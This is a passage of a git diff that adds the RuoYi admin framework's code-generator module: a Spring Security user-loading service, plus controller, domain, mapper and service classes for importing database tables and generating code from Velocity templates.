SysPermissionService permissionService; + + @Override + public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException + { + SysUser user = userService.selectUserByUserName(username); + if (StringUtils.isNull(user)) + { + log.debug("登录用户:{} 不存在.", username); + throw new ServiceException("登录用户:" + username + " 不存在"); + } + else if (UserStatus.DELETED.getCode().equals(user.getDelFlag())) + { + log.debug("登录用户:{} 已被删除.", username); + throw new ServiceException("对不起,您的账号:" + username + " 已被删除"); + } + else if (UserStatus.DISABLE.getCode().equals(user.getStatus())) + { + log.debug("登录用户:{} 已被停用.", username); + throw new ServiceException("对不起,您的账号:" + username + " 已停用"); + } + + passwordService.validate(user); + + return createLoginUser(user); + } + + public UserDetails createLoginUser(SysUser user) + { + return new LoginUser(user.getUserId(), user.getDeptId(), user, permissionService.getMenuPermission(user)); + } +} diff --git a/ruoyi-generator/pom.xml b/ruoyi-generator/pom.xml new file mode 100644 index 0000000..10bda90 --- /dev/null +++ b/ruoyi-generator/pom.xml @@ -0,0 +1,40 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + + ruoyi-generator + + + generator代码生成 + + + + + + + org.apache.velocity + velocity-engine-core + + + + + commons-collections + commons-collections + + + + + com.ruoyi + ruoyi-common + + + + + \ No newline at end of file diff --git a/ruoyi-generator/ruoyi-generator.iml b/ruoyi-generator/ruoyi-generator.iml new file mode 100644 index 0000000..aff9889 --- /dev/null +++ b/ruoyi-generator/ruoyi-generator.iml @@ -0,0 +1,280 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java new file mode 100644 index 0000000..cc4cd14 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/config/GenConfig.java @@ -0,0 +1,73 @@ +package com.ruoyi.generator.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.context.annotation.PropertySource; +import org.springframework.stereotype.Component; + +/** + * 读取代码生成相关配置 + * + * @author ruoyi + */ +@Component +@ConfigurationProperties(prefix = "gen") +@PropertySource(value = { "classpath:generator.yml" }) +public class GenConfig +{ + /** 作者 */ + public static String author; + + /** 生成包路径 */ + public static String packageName; + + /** 自动去除表前缀,默认是false */ + public static boolean autoRemovePre; + + /** 表前缀(类名不会包含表前缀) */ + public static String tablePrefix; + + public static String getAuthor() + { + return author; + } + + @Value("${author}") + public void setAuthor(String author) + { + GenConfig.author = author; + } + + public static String getPackageName() + { + return packageName; + } + + @Value("${packageName}") + public void setPackageName(String packageName) + { + GenConfig.packageName = packageName; + } + + public static boolean getAutoRemovePre() + { + return autoRemovePre; + } + + @Value("${autoRemovePre}") + public void setAutoRemovePre(boolean autoRemovePre) + { + GenConfig.autoRemovePre = autoRemovePre; + } + + public static String getTablePrefix() + { + return tablePrefix; + } + + @Value("${tablePrefix}") + public void setTablePrefix(String tablePrefix) + { + GenConfig.tablePrefix = tablePrefix; + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java new file mode 100644 index 0000000..2aed686 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/controller/GenController.java @@ -0,0 +1,214 @@ +package com.ruoyi.generator.controller; + +import java.io.IOException; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletResponse; +import org.apache.commons.io.IOUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.validation.annotation.Validated; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.generator.domain.GenTable; +import com.ruoyi.generator.domain.GenTableColumn; +import com.ruoyi.generator.service.IGenTableColumnService; +import com.ruoyi.generator.service.IGenTableService; + +/** + * 代码生成 操作处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/tool/gen") +public class GenController extends BaseController +{ + @Autowired + private IGenTableService genTableService; + + @Autowired + private IGenTableColumnService genTableColumnService; + + /** + * 查询代码生成列表 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:list')") + @GetMapping("/list") + public TableDataInfo genList(GenTable genTable) + { + startPage(); + List list = genTableService.selectGenTableList(genTable); + return getDataTable(list); + } + + /** + * 修改代码生成业务 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:query')") + @GetMapping(value = "/{tableId}") + public AjaxResult getInfo(@PathVariable Long tableId) + { + GenTable table = genTableService.selectGenTableById(tableId); + List tables = genTableService.selectGenTableAll(); + List list = genTableColumnService.selectGenTableColumnListByTableId(tableId); + Map map = new HashMap(); + map.put("info", table); + map.put("rows", list); + map.put("tables", tables); + return success(map); + } + + /** + * 查询数据库列表 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:list')") + @GetMapping("/db/list") + public TableDataInfo dataList(GenTable genTable) + { + startPage(); + List list = genTableService.selectDbTableList(genTable); + return getDataTable(list); + } + + /** + * 查询数据表字段列表 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:list')") + @GetMapping(value = "/column/{tableId}") + public TableDataInfo columnList(Long tableId) + { + TableDataInfo dataInfo = new TableDataInfo(); + List list = genTableColumnService.selectGenTableColumnListByTableId(tableId); + dataInfo.setRows(list); + dataInfo.setTotal(list.size()); + return dataInfo; + } + + /** + * 导入表结构(保存) + */ + @PreAuthorize("@ss.hasPermi('tool:gen:import')") + @Log(title = "代码生成", businessType = BusinessType.IMPORT) + @PostMapping("/importTable") + public AjaxResult importTableSave(String tables) + { + String[] tableNames = Convert.toStrArray(tables); + // 查询表信息 + List tableList = genTableService.selectDbTableListByNames(tableNames); + genTableService.importGenTable(tableList); + return success(); + } + + /** + * 修改保存代码生成业务 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:edit')") + @Log(title = "代码生成", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult editSave(@Validated @RequestBody GenTable genTable) + { + genTableService.validateEdit(genTable); + genTableService.updateGenTable(genTable); + return success(); + } + + /** + * 删除代码生成 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:remove')") + @Log(title = "代码生成", businessType = BusinessType.DELETE) + @DeleteMapping("/{tableIds}") + public AjaxResult remove(@PathVariable Long[] tableIds) + { + genTableService.deleteGenTableByIds(tableIds); + return success(); + } + + /** + * 预览代码 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:preview')") + @GetMapping("/preview/{tableId}") + public AjaxResult preview(@PathVariable("tableId") Long tableId) throws IOException + { + Map dataMap = genTableService.previewCode(tableId); + return success(dataMap); + } + + /** + * 生成代码(下载方式) + */ + @PreAuthorize("@ss.hasPermi('tool:gen:code')") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/download/{tableName}") + public void download(HttpServletResponse response, @PathVariable("tableName") String tableName) throws IOException + { + byte[] data = genTableService.downloadCode(tableName); + genCode(response, data); + } + + /** + * 生成代码(自定义路径) + */ + @PreAuthorize("@ss.hasPermi('tool:gen:code')") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/genCode/{tableName}") + public AjaxResult genCode(@PathVariable("tableName") String tableName) + { + genTableService.generatorCode(tableName); + return success(); + } + + /** + * 同步数据库 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:edit')") + @Log(title = "代码生成", businessType = BusinessType.UPDATE) + @GetMapping("/synchDb/{tableName}") + public AjaxResult synchDb(@PathVariable("tableName") String tableName) + { + genTableService.synchDb(tableName); + return success(); + } + + /** + * 批量生成代码 + */ + @PreAuthorize("@ss.hasPermi('tool:gen:code')") + @Log(title = "代码生成", businessType = BusinessType.GENCODE) + @GetMapping("/batchGenCode") + public void batchGenCode(HttpServletResponse response, String tables) throws IOException + { + String[] tableNames = Convert.toStrArray(tables); + byte[] data = genTableService.downloadCode(tableNames); + genCode(response, data); + } + + /** + * 生成zip文件 + */ + private void genCode(HttpServletResponse response, byte[] data) throws IOException + { + response.reset(); + response.addHeader("Access-Control-Allow-Origin", "*"); + response.addHeader("Access-Control-Expose-Headers", "Content-Disposition"); + response.setHeader("Content-Disposition", "attachment; filename=\"ruoyi.zip\""); + response.addHeader("Content-Length", "" + data.length); + response.setContentType("application/octet-stream; charset=UTF-8"); + IOUtils.write(data, response.getOutputStream()); + } +} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java new file mode 100644 index 0000000..269779c --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTable.java @@ -0,0 +1,372 @@ +package com.ruoyi.generator.domain; + +import java.util.List; +import javax.validation.Valid; +import javax.validation.constraints.NotBlank; +import org.apache.commons.lang3.ArrayUtils; +import com.ruoyi.common.constant.GenConstants; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.utils.StringUtils; + +/** + * 业务表 gen_table + * + * @author ruoyi + */ +public class GenTable extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 编号 */ + private Long tableId; + + /** 表名称 */ + @NotBlank(message = "表名称不能为空") + private String tableName; + + /** 表描述 */ + @NotBlank(message = "表描述不能为空") + private String tableComment; + + /** 关联父表的表名 */ + private String subTableName; + + /** 本表关联父表的外键名 */ + private String subTableFkName; + + /** 实体类名称(首字母大写) */ + @NotBlank(message = "实体类名称不能为空") + private String className; + + /** 使用的模板(crud单表操作 tree树表操作 sub主子表操作) */ + private String tplCategory; + + /** 生成包路径 */ + @NotBlank(message = "生成包路径不能为空") + private String packageName; + + /** 生成模块名 */ + @NotBlank(message = "生成模块名不能为空") + private String moduleName; + + /** 生成业务名 */ + @NotBlank(message = "生成业务名不能为空") + private String businessName; + + /** 生成功能名 */ + @NotBlank(message = "生成功能名不能为空") + private String functionName; + + /** 生成作者 */ + @NotBlank(message = "作者不能为空") + private String functionAuthor; + + /** 生成代码方式(0zip压缩包 1自定义路径) */ + private String genType; + + /** 生成路径(不填默认项目路径) */ + private String genPath; + + /** 主键信息 */ + private GenTableColumn pkColumn; + + /** 子表信息 */ + private GenTable subTable; + + /** 表列信息 */ + @Valid + private List columns; + + /** 其它生成选项 */ + private String options; + + /** 树编码字段 */ + private String treeCode; + + /** 树父编码字段 */ + private String treeParentCode; + + /** 树名称字段 */ + private String treeName; + + /** 上级菜单ID字段 */ + private String parentMenuId; + + /** 上级菜单名称字段 */ + private String parentMenuName; + + public Long getTableId() + { + return tableId; + } + + public void setTableId(Long tableId) + { + this.tableId = tableId; + } + + public String getTableName() + { + return tableName; + } + + public void setTableName(String tableName) + { + this.tableName = tableName; + } + + public String getTableComment() + { + return tableComment; + } + + public void setTableComment(String tableComment) + { + this.tableComment = tableComment; + } + + public String getSubTableName() + { + return subTableName; + } + + public void setSubTableName(String subTableName) + { + this.subTableName = subTableName; + } + + public String getSubTableFkName() + { + return subTableFkName; + } + + public void setSubTableFkName(String subTableFkName) + { + this.subTableFkName = subTableFkName; + } + + public String getClassName() + { + return className; + } + + public void setClassName(String className) + { + this.className = className; + } + + public String getTplCategory() + { + return tplCategory; + } + + public void setTplCategory(String tplCategory) + { + this.tplCategory = tplCategory; + } + + public String getPackageName() + { + return packageName; + } + + public void setPackageName(String packageName) + { + this.packageName = packageName; + } + + public String getModuleName() + { + return moduleName; + } + + public void setModuleName(String moduleName) + { + this.moduleName = moduleName; + } + + public String getBusinessName() + { + return businessName; + } + + public void setBusinessName(String businessName) + { + this.businessName = businessName; + } + + public String getFunctionName() + { + return functionName; + } + + public void setFunctionName(String functionName) + { + this.functionName = functionName; + } + + public String getFunctionAuthor() + { + return functionAuthor; + } + + public void setFunctionAuthor(String functionAuthor) + { + this.functionAuthor = functionAuthor; + } + + public String getGenType() + { + return genType; + } + + public void setGenType(String genType) + { + this.genType = genType; + } + + public String getGenPath() + { + return genPath; + } + + public void setGenPath(String genPath) + { + this.genPath = genPath; + } + + public GenTableColumn getPkColumn() + { + return pkColumn; + } + + public void setPkColumn(GenTableColumn pkColumn) + { + this.pkColumn = pkColumn; + } + + public GenTable getSubTable() + { + return subTable; + } + + public void setSubTable(GenTable subTable) + { + this.subTable = subTable; + } + + public List getColumns() + { + return columns; + } + + public void setColumns(List columns) + { + this.columns = columns; + } + + public String getOptions() + { + return options; + } + + public void setOptions(String options) + { + this.options = options; + } + + public String getTreeCode() + { + return treeCode; + } + + public void setTreeCode(String treeCode) + { + this.treeCode = treeCode; + } + + public String getTreeParentCode() + { + return treeParentCode; + } + + public void setTreeParentCode(String treeParentCode) + { + this.treeParentCode = treeParentCode; + } + + public String getTreeName() + { + return treeName; + } + + public void setTreeName(String treeName) + { + this.treeName = treeName; + } + + public String getParentMenuId() + { + return parentMenuId; + } + + public void setParentMenuId(String parentMenuId) + { + this.parentMenuId = parentMenuId; + } + + public String getParentMenuName() + { + return parentMenuName; + } + + public void setParentMenuName(String parentMenuName) + { + this.parentMenuName = parentMenuName; + } + + public boolean isSub() + { + return isSub(this.tplCategory); + } + + public static boolean isSub(String tplCategory) + { + return tplCategory != null && StringUtils.equals(GenConstants.TPL_SUB, tplCategory); + } + + public boolean isTree() + { + return isTree(this.tplCategory); + } + + public static boolean isTree(String tplCategory) + { + return tplCategory != null && StringUtils.equals(GenConstants.TPL_TREE, tplCategory); + } + + public boolean isCrud() + { + return isCrud(this.tplCategory); + } + + public static boolean isCrud(String tplCategory) + { + return tplCategory != null && StringUtils.equals(GenConstants.TPL_CRUD, tplCategory); + } + + public boolean isSuperColumn(String javaField) + { + return isSuperColumn(this.tplCategory, javaField); + } + + public static boolean isSuperColumn(String tplCategory, String javaField) + { + if (isTree(tplCategory)) + { + return StringUtils.equalsAnyIgnoreCase(javaField, + ArrayUtils.addAll(GenConstants.TREE_ENTITY, GenConstants.BASE_ENTITY)); + } + return StringUtils.equalsAnyIgnoreCase(javaField, GenConstants.BASE_ENTITY); + } +} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java new file mode 100644 index 0000000..d1733b6 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/domain/GenTableColumn.java @@ -0,0 +1,373 @@ +package com.ruoyi.generator.domain; + +import javax.validation.constraints.NotBlank; +import com.ruoyi.common.core.domain.BaseEntity; +import com.ruoyi.common.utils.StringUtils; + +/** + * 代码生成业务字段表 gen_table_column + * + * @author ruoyi + */ +public class GenTableColumn extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 编号 */ + private Long columnId; + + /** 归属表编号 */ + private Long tableId; + + /** 列名称 */ + private String columnName; + + /** 列描述 */ + private String columnComment; + + /** 列类型 */ + private String columnType; + + /** JAVA类型 */ + private String javaType; + + /** JAVA字段名 */ + @NotBlank(message = "Java属性不能为空") + private String javaField; + + /** 是否主键(1是) */ + private String isPk; + + /** 是否自增(1是) */ + private String isIncrement; + + /** 是否必填(1是) */ + private String isRequired; + + /** 是否为插入字段(1是) */ + private String isInsert; + + /** 是否编辑字段(1是) */ + private String isEdit; + + /** 是否列表字段(1是) */ + private String isList; + + /** 是否查询字段(1是) */ + private String isQuery; + + /** 查询方式(EQ等于、NE不等于、GT大于、LT小于、LIKE模糊、BETWEEN范围) */ + private String queryType; + + /** 显示类型(input文本框、textarea文本域、select下拉框、checkbox复选框、radio单选框、datetime日期控件、image图片上传控件、upload文件上传控件、editor富文本控件) */ + private String htmlType; + + /** 字典类型 */ + private String dictType; + + /** 排序 */ + private Integer sort; + + public void setColumnId(Long columnId) + { + this.columnId = columnId; + } + + public Long getColumnId() + { + return columnId; + } + + public void setTableId(Long tableId) + { + this.tableId = tableId; + } + + public Long getTableId() + { + return tableId; + } + + public void setColumnName(String columnName) + { + this.columnName = columnName; + } + + public String getColumnName() + { + return columnName; + } + + public void setColumnComment(String columnComment) + { + this.columnComment = columnComment; + } + + public String getColumnComment() + { + return columnComment; + } + + public void setColumnType(String columnType) + { + this.columnType = columnType; + } + + public String getColumnType() + { + return columnType; + } + + public void setJavaType(String javaType) + { + this.javaType = javaType; + } + + public String getJavaType() + { + return javaType; + } + + public void setJavaField(String javaField) + { + this.javaField = javaField; + } + + public String getJavaField() + { + return javaField; + } + + public String getCapJavaField() + { + return StringUtils.capitalize(javaField); + } + + public void setIsPk(String isPk) + { + this.isPk = isPk; + } + + public String getIsPk() + { + return isPk; + } + + public boolean isPk() + { + return isPk(this.isPk); + } + + public boolean isPk(String isPk) + { + return isPk != null && StringUtils.equals("1", isPk); + } + + public String getIsIncrement() + { + return isIncrement; + } + + public void setIsIncrement(String isIncrement) + { + this.isIncrement = isIncrement; + } + + public boolean isIncrement() + { + return isIncrement(this.isIncrement); + } + + public boolean isIncrement(String isIncrement) + { + return isIncrement != null && StringUtils.equals("1", isIncrement); + } + + public void setIsRequired(String isRequired) + { + this.isRequired = isRequired; + } + + public String getIsRequired() + { + return isRequired; + } + + public boolean isRequired() + { + return isRequired(this.isRequired); + } + + public boolean isRequired(String isRequired) + { + return isRequired != null && StringUtils.equals("1", isRequired); + } + + public void setIsInsert(String isInsert) + { + this.isInsert = isInsert; + } + + public String getIsInsert() + { + return isInsert; + } + + public boolean isInsert() + { + return isInsert(this.isInsert); + } + + public boolean isInsert(String isInsert) + { + return isInsert != null && StringUtils.equals("1", isInsert); + } + + public void setIsEdit(String isEdit) + { + this.isEdit = isEdit; + } + + public String getIsEdit() + { + return isEdit; + } + + public boolean isEdit() + { + return isInsert(this.isEdit); + } + + public boolean isEdit(String isEdit) + { + return isEdit != null && StringUtils.equals("1", isEdit); + } + + public void setIsList(String isList) + { + this.isList = isList; + } + + public String getIsList() + { + return isList; + } + + public boolean isList() + { + return isList(this.isList); + } + + public boolean isList(String isList) + { + return isList != null && StringUtils.equals("1", isList); + } + + public void setIsQuery(String isQuery) + { + this.isQuery = isQuery; + } + + public String getIsQuery() + { + return isQuery; + } + + public boolean isQuery() + { + return isQuery(this.isQuery); + } + + public boolean isQuery(String isQuery) + { + return isQuery != null && StringUtils.equals("1", isQuery); + } + + public void setQueryType(String queryType) + { + this.queryType = queryType; + } + + public String getQueryType() + { + return queryType; + } + + public String getHtmlType() + { + return htmlType; + } + + public void setHtmlType(String htmlType) + { + this.htmlType = htmlType; + } + + public void setDictType(String dictType) + { + this.dictType = dictType; + } + + public String getDictType() + { + return dictType; + } + + public void setSort(Integer sort) + { + this.sort = sort; + } + + public Integer getSort() + { + return sort; + } + + public boolean isSuperColumn() + { + return isSuperColumn(this.javaField); + } + + public static boolean isSuperColumn(String javaField) + { + return StringUtils.equalsAnyIgnoreCase(javaField, + // BaseEntity + "createBy", "createTime", "updateBy", "updateTime", "remark", + // TreeEntity + "parentName", "parentId", "orderNum", "ancestors"); + } + + public boolean isUsableColumn() + { + return isUsableColumn(javaField); + } + + public static boolean isUsableColumn(String javaField) + { + // isSuperColumn()中的名单用于避免生成多余Domain属性,若某些属性在生成页面时需要用到不能忽略,则放在此处白名单 + return StringUtils.equalsAnyIgnoreCase(javaField, "parentId", "orderNum", "remark"); + } + + public String readConverterExp() + { + String remarks = StringUtils.substringBetween(this.columnComment, "(", ")"); + StringBuffer sb = new StringBuffer(); + if (StringUtils.isNotEmpty(remarks)) + { + for (String value : remarks.split(" ")) + { + if (StringUtils.isNotEmpty(value)) + { + Object startStr = value.subSequence(0, 1); + String endStr = value.substring(1); + sb.append("").append(startStr).append("=").append(endStr).append(","); + } + } + return sb.deleteCharAt(sb.length() - 1).toString(); + } + else + { + return this.columnComment; + } + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java new file mode 100644 index 0000000..951e166 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableColumnMapper.java @@ -0,0 +1,60 @@ +package com.ruoyi.generator.mapper; + +import java.util.List; +import com.ruoyi.generator.domain.GenTableColumn; + +/** + * 业务字段 数据层 + * + * @author ruoyi + */ +public interface GenTableColumnMapper +{ + /** + * 根据表名称查询列信息 + * + * @param tableName 表名称 + * @return 列信息 + */ + public List selectDbTableColumnsByName(String tableName); + + /** + * 查询业务字段列表 + * + * @param tableId 业务字段编号 + * @return 业务字段集合 + */ + public List selectGenTableColumnListByTableId(Long tableId); + + /** + * 新增业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + public int insertGenTableColumn(GenTableColumn genTableColumn); + + /** + * 修改业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + public int updateGenTableColumn(GenTableColumn genTableColumn); + + /** + * 删除业务字段 + * + * @param genTableColumns 列数据 + * @return 结果 + */ + public int deleteGenTableColumns(List genTableColumns); + + /** + * 批量删除业务字段 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteGenTableColumnByIds(Long[] ids); +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java new file mode 100644 index 0000000..9b330df --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/mapper/GenTableMapper.java @@ -0,0 +1,83 @@ +package com.ruoyi.generator.mapper; + +import java.util.List; +import com.ruoyi.generator.domain.GenTable; + +/** + * 业务 数据层 + * + * @author ruoyi + */ +public interface GenTableMapper +{ + /** + * 查询业务列表 + * + * @param genTable 业务信息 + * @return 业务集合 + */ + public List selectGenTableList(GenTable genTable); + + /** + * 查询据库列表 + * + * @param genTable 业务信息 + * @return 数据库表集合 + */ + public List selectDbTableList(GenTable genTable); + + /** + * 查询据库列表 + * + * @param tableNames 表名称组 + * @return 数据库表集合 + */ + public List selectDbTableListByNames(String[] tableNames); + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + public List selectGenTableAll(); + + /** + * 查询表ID业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + public GenTable selectGenTableById(Long id); + + /** + * 查询表名称业务信息 + * + * @param tableName 表名称 + * @return 业务信息 + */ + public GenTable selectGenTableByName(String tableName); + + /** + * 新增业务 + * + * @param genTable 业务信息 + * @return 结果 + */ + public int insertGenTable(GenTable genTable); + + /** + * 修改业务 + * + * @param genTable 业务信息 + * @return 结果 + */ + public int updateGenTable(GenTable genTable); + + /** + * 批量删除业务 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteGenTableByIds(Long[] ids); +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java new file mode 100644 index 0000000..0679689 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableColumnServiceImpl.java @@ -0,0 +1,68 @@ +package com.ruoyi.generator.service; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.generator.domain.GenTableColumn; +import com.ruoyi.generator.mapper.GenTableColumnMapper; + +/** + * 业务字段 服务层实现 + * + * @author ruoyi + */ +@Service +public class GenTableColumnServiceImpl implements IGenTableColumnService +{ + @Autowired + private GenTableColumnMapper genTableColumnMapper; + + /** + * 查询业务字段列表 + * + * @param tableId 业务字段编号 + * @return 业务字段集合 + */ + @Override + public List selectGenTableColumnListByTableId(Long tableId) + { + return genTableColumnMapper.selectGenTableColumnListByTableId(tableId); + } + + /** + * 新增业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + @Override + public int insertGenTableColumn(GenTableColumn genTableColumn) + { + return genTableColumnMapper.insertGenTableColumn(genTableColumn); + } + + /** + * 修改业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + @Override + public int updateGenTableColumn(GenTableColumn genTableColumn) + { + return genTableColumnMapper.updateGenTableColumn(genTableColumn); + } + + /** + * 删除业务字段对象 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + @Override + public int deleteGenTableColumnByIds(String ids) + { + return genTableColumnMapper.deleteGenTableColumnByIds(Convert.toLongArray(ids)); + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java new file mode 100644 index 0000000..4889f81 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/GenTableServiceImpl.java @@ -0,0 +1,521 @@ +package com.ruoyi.generator.service; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.IOException; +import java.io.StringWriter; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.function.Function; +import java.util.stream.Collectors; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.IOUtils; +import org.apache.velocity.Template; +import org.apache.velocity.VelocityContext; +import org.apache.velocity.app.Velocity; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.GenConstants; +import com.ruoyi.common.core.text.CharsetKit; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.generator.domain.GenTable; +import com.ruoyi.generator.domain.GenTableColumn; +import com.ruoyi.generator.mapper.GenTableColumnMapper; +import com.ruoyi.generator.mapper.GenTableMapper; +import com.ruoyi.generator.util.GenUtils; +import com.ruoyi.generator.util.VelocityInitializer; +import com.ruoyi.generator.util.VelocityUtils; + +/** + * 业务 服务层实现 + * + * @author ruoyi + */ +@Service +public class GenTableServiceImpl implements IGenTableService +{ + private static final Logger log = LoggerFactory.getLogger(GenTableServiceImpl.class); + + @Autowired + private GenTableMapper genTableMapper; + + @Autowired + private GenTableColumnMapper genTableColumnMapper; + + /** + * 查询业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + @Override + public GenTable selectGenTableById(Long id) + { + GenTable genTable = genTableMapper.selectGenTableById(id); + setTableFromOptions(genTable); + return genTable; + } + + /** + * 查询业务列表 + * + * @param genTable 业务信息 + * @return 业务集合 + */ + @Override + public List selectGenTableList(GenTable genTable) + { + return genTableMapper.selectGenTableList(genTable); + } + + /** + * 查询据库列表 + * + * @param genTable 业务信息 + * @return 数据库表集合 + */ + @Override + public List selectDbTableList(GenTable genTable) + { + return genTableMapper.selectDbTableList(genTable); + } + + /** + * 查询据库列表 + * + * @param tableNames 表名称组 + * @return 数据库表集合 + */ + @Override + public List selectDbTableListByNames(String[] tableNames) + { + return genTableMapper.selectDbTableListByNames(tableNames); + } + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + @Override + public List selectGenTableAll() + { + return genTableMapper.selectGenTableAll(); + } + + /** + * 修改业务 + * + * @param genTable 业务信息 + * @return 结果 + */ + @Override + @Transactional + public void updateGenTable(GenTable genTable) + { + String options = JSON.toJSONString(genTable.getParams()); + genTable.setOptions(options); + int row = genTableMapper.updateGenTable(genTable); + if (row > 0) + { + for (GenTableColumn cenTableColumn : genTable.getColumns()) + { + genTableColumnMapper.updateGenTableColumn(cenTableColumn); + } + } + } + + /** + * 删除业务对象 + * + * @param tableIds 需要删除的数据ID + * @return 结果 + */ + @Override + @Transactional + public void deleteGenTableByIds(Long[] tableIds) + { + genTableMapper.deleteGenTableByIds(tableIds); + genTableColumnMapper.deleteGenTableColumnByIds(tableIds); + } + + /** + * 导入表结构 + * + * @param tableList 导入表列表 + */ + @Override + @Transactional + public void importGenTable(List tableList) + { + String operName = SecurityUtils.getUsername(); + try + { + for (GenTable table : tableList) + { + String tableName = table.getTableName(); + GenUtils.initTable(table, operName); + int row = genTableMapper.insertGenTable(table); + if (row > 0) + { + // 保存列信息 + List genTableColumns = genTableColumnMapper.selectDbTableColumnsByName(tableName); + for (GenTableColumn column : genTableColumns) + { + GenUtils.initColumnField(column, table); + genTableColumnMapper.insertGenTableColumn(column); + } + } + } + } + catch (Exception e) + { + throw new ServiceException("导入失败:" + e.getMessage()); + } + } + + /** + * 预览代码 + * + * @param tableId 表编号 + * @return 预览数据列表 + */ + @Override + public Map previewCode(Long tableId) + { + Map dataMap = new LinkedHashMap<>(); + // 